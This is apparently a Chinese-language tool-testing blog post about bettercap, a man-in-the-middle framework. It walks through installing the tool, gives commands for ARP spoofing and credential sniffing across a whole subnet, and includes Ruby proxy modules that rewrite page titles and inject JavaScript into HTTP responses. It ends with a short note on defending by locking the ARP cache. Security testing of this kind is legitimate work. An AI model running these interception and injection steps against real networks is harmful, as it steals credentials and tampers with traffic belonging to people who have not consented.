Linux下中间人攻击利用框架bettercap测试
0x01简介
bettercap可用来实现各种中间人攻击,模块化,便携、易扩展
0x02特点
提到中间人攻击,最知名的莫过于ettercap,而开发bettercap的目的不是为了追赶它,而是替代它
原因如下:
1、ettercap很成功,但在新时代下它已经老了 2、ettercap的过滤器复杂,使用门槛高 3、在大型网络下,主机发现功能效果很差 4、优化不够,对研究人员来说,无用的功能太多 5、扩展性不够,开发需要掌握C/C++语言
0x03测试环境搭建
kali linux:
git clone https://github.com/evilsocket/bettercap
cd bettercap
gem build bettercap.gemspec
sudo gem install bettercap*.gem
如果报错,如图:
执行如下命令:
sudo apt-get install ruby-dev libpcap-dev
sudo gem install bettercap*.gem
最后成功,如图:
0x04参数说明
已做翻译并加入个人理解
用法:
-I, --interface IFACE 指定Network interface name,默认eth0
-S, --spoofer NAME 指定欺骗模块,此参数默认为ARP,目前仅支持ARP,新版本会添加更多选项
-T, --target ADDRESS 指定单一ip,如果未设置,则代表所有子网,子网所有主机自动扫描,简单高效,十分推荐
-O, --log LOG_FILE 日志功能
-D, --debug 调试功能,会将每一步操作详细记录,便于调试
-L, --local 解析流经本机的所有数据包(此操作会开启嗅探器),此参数默认为关闭
-X, --sniffer 开启嗅探器. --sniffer-pcap FILE 将数据包保存为PCAP文件,可用Wireshark打开(此操作会开启嗅探器) --sniffer-filter EXPRESSION 配置嗅探器使用BPF过滤器(此操作会开启嗅探器)
-P, --parsers PARSERS 指定数据包(此操作会开启嗅探器),支持NTLMSS, IRC, POST, URL, FTP, HTTPS, HTTPAUTH, MAIL,此参数默认为所有 --no-discovery 只使用当前的ARP缓存,不去扫描其他主机,此参数默认为关闭 --no-spoofing 关闭欺骗模块,也可以使用参数--spoofer NONE代替 --proxy 启用HTTP代理并且重定向所有HTTP请求至本机,此参数默认为关闭 --proxy-port PORT 设置HTTP代理端口,此参数默认为8080 --proxy-module MODULE 指定加载的Ruby模块 --httpd 开启HTTP服务器,此参数默认为关闭 --httpd-port PORT 指定HTTP server port, 此参数默认为8081. --httpd-path PATH 指定HTTP server path,此参数默认为 ./.
-h, --help 英文帮助
0x05功能测试
1、HOST DISCOVERY + ARP MAN IN THE MIDDLE
sudo bettercap -X
扫描全部内网主机,傻瓜式操作,自动扫描并进行arp欺骗,使所有流量经过本机,如图
2、CREDENTIALS SNIFFER
抓取流量中有价值的信息,包括:
URLs being visited.
HTTPS host being visited.
HTTP POSTed data.
HTTP Basic and Digest authentications.
FTP credentials.
IRC credentials.
POP, IMAP and SMTP credentials.
NTLMv1/v2 ( HTTP, SMB, LDAP, etc ) credentials.
用法举例:
默认傻瓜模式,开启所有功能:
sudo bettercap -X
如图为抓到的163邮箱登陆数据
指定抓取的数据包:
sudo bettercap -X -P "FTP,HTTPAUTH,MAIL,NTLMSS"
如图为抓到192.168.40.146的FTP
3、MODULAR TRANSPARENT PROXY
代理功能,可以拦截篡改HTTP流量
用法举例:
开启代理功能:
sudo bettercap --proxy
开启代理功能并指定端口:
sudo bettercap --proxy --proxy-port=8081
关闭arp欺骗,只开启代理
sudo bettercap -S NONE --proxy
开启代理功能并加载指定的Ruby模块
sudo bettercap --proxy --proxy-module=hack_title.rb
Ruby参考示例:
class HackTitle < Proxy::Module
def on_request( request, response )
# is it a html page?
if response.content_type == 'text/html'
Logger.info "Hacking http://#{request.host}#{request.url} title tag"
# make sure to use sub! or gsub! to update the instance
response.body.sub!( '<title>', '<title> !!! HACKED !!! ' )
end
end
end
功能为替换所有html的标题选项
4、BUILTIN HTTP SERVER
内置HTTP SERVER功能,可篡改HTTP响应包内容
用法举例:
在网络的每一个HTTP响应中注入JS文件
sudo bettercap --httpd --http-path=/path/to/your/js/file/ --proxy --proxy-module=inject.rb
Ruby参考示例:
class InjectJS < Proxy::Module
def on_request( request, response )
# is it a html page?
if response.content_type == 'text/html'
Logger.info "Injecting javascript file into http://#{request.host}#{request.url} page"
# get the local interface address and HTTPD port
localaddr = Context.get.iface[:ip_saddr]
localport = Context.get.options[:httpd_port]
# inject the js
response.body.sub!( '</title>', "</title><script src='http://#{localaddr}:#{localport}/file.js'
type='text/javascript'></script>" )
end
end
end
0x06测试心得
亮点:
中间人攻击利用框架的开发,便携,安装简单
整合了各种常用功能,功能模块化,自动欺骗攻击,提高效率
极大降低了工具的使用和开发门槛
不足:
目前只支持arp欺骗,功能仍需完善。
暂不支持windows
0x07总结
之前我用过c++开发arp欺骗&中间人攻击的程序,个人认为arp欺骗的成功与否关键在于ARP缓存表的修改,锁定ARP缓存表目前就能防御bettercap基于arp的中间人攻击 但我相信,bettercap的前景十分广阔。
0x08补充
bettercap下载地址:
http://www.bettercap.org/
水平有限,欢迎补充。
Linux下中间人攻击利用框架bettercap测试的更多相关文章
- 转:中间人攻击利用框架bettercap测试
0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...
- 中间人攻击利用框架bettercap测试
0x00前言 上篇提到内网渗透很有趣,这次就从一款新工具说起: bettercap 0x01简介 bettercap可用来实现各种中间人攻击,模块化,便携.易扩展 0x02特点 提到中间人攻击,最知名 ...
- Linux下几种常见压缩方式测试对比
目录 Linux下几种常见压缩方式测试对比 参考 简介 测试 总结 Linux下几种常见压缩方式测试对比
- linux下Python网络编程框架-Twisted安装
Twisted是python下的用来进行网络服务和应用程序编程的框架,安装Twisted前需要系统预先安装有python. 一.安装Twisted http://twistedmatrix.com/R ...
- 使用Kali Linux执行中间人攻击(演示)
中间人攻击也叫Man-In-The-Middle-Attack. 我假设你已经知道中间人攻击的基本概念,引用一段wikipedia: 中间人攻击(Man-in-the-middle attack,缩写 ...
- Linux下四款Web服务器压力测试工具(http_load、webbench、ab、siege)介绍
一.http_load程序非常小,解压后也不到100Khttp_load以并行复用的方式运行,用以测试web服务器的吞吐量与负载.但是它不同于大多数压力测试工具,它可以以一个单一的进程运行,一般不会把 ...
- Linux下高并发socket链接数测试
一.如何增大service进程的max open files ulimit -n 只能改小max open files,不能改大.需要按照以下步骤: 修改/etc/security/limits.co ...
- linux下c语言利用iconv函数实现utf-8转unicode
iconv是linux下的编码转换的工具,它提供命令行的使用和函数接口支持 man手册iconv命令用法如下: iconv -f encoding -t encoding inputfile 有如下选 ...
- Linux下18b20温度传感器驱动代码及测试实例
驱动代码: #include <linux/module.h> #include <linux/fs.h> #include <linux/kernel.h> #i ...
随机推荐
- i.mx android6 输入子系统分析(未完)
参考:http://blog.csdn.net/u010312937/article/details/53285286 https://www.jianshu.com/p/7fca94b330ea ...
- ubuntu上安装R的时候遇到的问题总结
首先感谢这两篇博客的指导,第一篇是关于报错的总结,第二篇是第一篇中没有提到的错误,也就是我在安装的时候出现的错误. 1.下载R包 (去官网选择一个离你最近的镜像网址,我的是清华提供的镜像下载速度比较快 ...
- WCF 之部署(2010版本之上)
首先,在WIN系统下打开IIS,每种操作系统是不同的,请不要弄混. 1.控制面板---左下放的程序---启用或关闭Windows功能,如图: 2.找到Internet Information Serv ...
- 二、curator入门
简介 curator是Apache下开源的项目,它包含了zookeeper的客户端高层级API的实现,并提供了一些常见的用例实现方便我们直接使用.简单来说,使用curator作为zookeeper客户 ...
- 腾讯企业邮箱报错 "smtp.exmail.qq.com"port 465, isSSL false
一.报错 "smtp.exmail.qq.com" port 465, isSSL false 通过网上搜索查询一些资料,推测是邮箱的配置出问题了. 二.修改邮箱配置 // 创建属 ...
- oracle 多列数据相同,部分列数据不同合并不相同列数据
出现这样一种情况: 前面列数据一致,最后remark数据不同,将remark合并成 解决办法: 最后一列:结果详情: 使用到的语句为: select a,b,c,wm_concat(d) d,wm_c ...
- Mac下使用sublime Text打开隐藏目录
我们用 sublime Text 打开时,默认是看到非隐藏的目录和文件,如下图: 这时候在这个节目,按下 command +shift + 句号 快捷键,会自动切换 隐藏状态的, 这时候就可以切换成下 ...
- 阿里云CentOS7.3配置Java Web应用和Tomcat步骤
阿里云的Linux系统包括CentOS7.3配置了密钥对 怎样将自己ECS实例绑定密钥对,并启用秘钥: https://help.aliyun.com/document_detail/51798.ht ...
- ThreeJS geometry的顶点世界坐标
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8&quo ...
- JS 对html标签的属性的干预以及JS 对CSS 样式表属性的干预
-任何标签的任何属性都可以修改! -HTML里是怎么写, JS就怎么写 以下是一段js 作用于 css 的 href的 代码 <link id="l1" rel= ...